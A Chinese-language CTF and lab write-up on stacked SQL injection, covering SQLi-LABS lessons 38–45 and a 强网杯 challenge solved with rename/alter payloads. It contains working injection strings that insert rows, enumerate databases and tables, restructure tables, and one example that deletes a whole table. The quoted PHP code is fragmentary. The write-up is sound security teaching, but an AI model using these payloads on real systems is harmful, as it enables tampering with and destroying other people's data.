没有任何过滤, 单引号闭合



为了学到东西,查询了wp,是有关堆叠注入的

SQLi-LABS Page-3 (Stacked Injections)

整个page3都是关于堆叠注入的 利用堆叠注入可以在数据库中新建表项 payload:

Less38?

id=1%27;insert%20into%20users(id,username,password)%20values%20(%27 38%27,%27less38%27,%27hello%27)--+

Less39?

id=1;%20insert%20into%20users%20(id,username,password)%20values%20(%2739%27,%27roo%27,%27man%27)%23

Less40?

id=1%27);%20insert%20into%20users%20(id,username,password)%20values %20(%2740%27,%27roo%27,%27man%27)%23

Less41 ?

id=1;insert%20into%20users(id,username,password)%20values(%2741%27,% 27roo%27,%27man%27)%23

Less42

login_user=1&login_password=1';insert%20into%20users(id,username,password)%20values(%2742%27,%27roo%27,%27man%27)#&mysubmit=Login Less43

login_user=1&login_password=1');insert%20into%20users(id,username,password)%20values(%2743%27,%27roo%27,%27man%27)#&mysubmit=Login Less44 login_user=1&login_password=1';insert into users(id,username,password) values('44','roo','man')#&mysubmit=Login

Less45 login_user=1&login_password=1';insert into users(id,username,password) values('45','roo','man')#&mysubmit=Login

id	username	password
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
13	admin4	admin4
14	admin5	admin5
38	less38	hello
+		

堆叠注入和联合查询注入是有区别的,union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

当过滤了很多关键字时可以使用堆叠注入

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

堆叠注入的局限

我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

这个题使用的就是mysqli_multi_query,就可以使用堆叠注入

```
echo "Failed to connect to MySQL: " . mysqli_connect_error();

}

else

{

@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the datab }

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

/* execute_multi_query */

if (mysqli_multi_query $con1, $sql))

{

/* store first result set */

if ($result = mysqli_store_result($con1))

{

if($row = mysqli_fetch_row($result))

{

echo '<font size = "5" color= "#00FF00">';

printf("Your Username is : %s", $row[1]);

echo "<br/>
echo "<br/>
printf("Your Password is : %s", $row[2]);
```

之前的题使用的都是mysqli_query, 所以不能用堆叠注入

一道利用堆叠注入的CTF题:

从强网杯看堆叠注入

强往杯这道题过滤了sql很多查询语句,所以会去想到堆叠注入。在SQL中,分号(;)是用来表示一条sql语句的结束,我们在;结束一个sql语句后继续构造下一条语句,会一起执行,这就是堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如:

用户输入: 1; DELETE FROM products

服务器端生成的sql语句为: Select * from products where

productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

进入正题:

1'; show databases; #

也就是说我们执行完第一句满足条件的语句之后,还能再执行一条语句(没有条件限制),依此来查看数据库、表名

1'; show tables from supersqli;#

如果查看的表名是字符串,就需要加上反引号(`)英文输入法下按 esc下面那个键即可

1'; show columns from ; #(内容替换下划线)

我们找到了flag在哪里,无法继续用语句查看内容 根据两个表的情况结合实际查询出结果,判断出words是默认查询的 表,因为查询出的结果是一个数字加一个字符串,words表结构也是 id(数字)和data(字符串),查询传入参数也就是赋值给了id

先介绍rename和alert的用法:

rename和alert

rename:修改一个或多个表的名称

RENAME TABLE old table name TO new table name;

alert:向表中添加字段

Alter table [表名] add [列名] 类型

保留old和new列名

列名: a ---->b 列类型

ALTER TABLE t1 CHANGE a b INTEGER;

由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段payload:

1';rename tables `words` to `words1`;rename tables
`1919810931114514` to `words`; alter table `words` change
`flag` `id` varchar(100);#

然后使用1' or 1=1#显示表中所有内容,即可查询出flag

堆叠注入的各种使用姿

势: https://www.cnblogs.com/lcamry/p/stacked_injection.html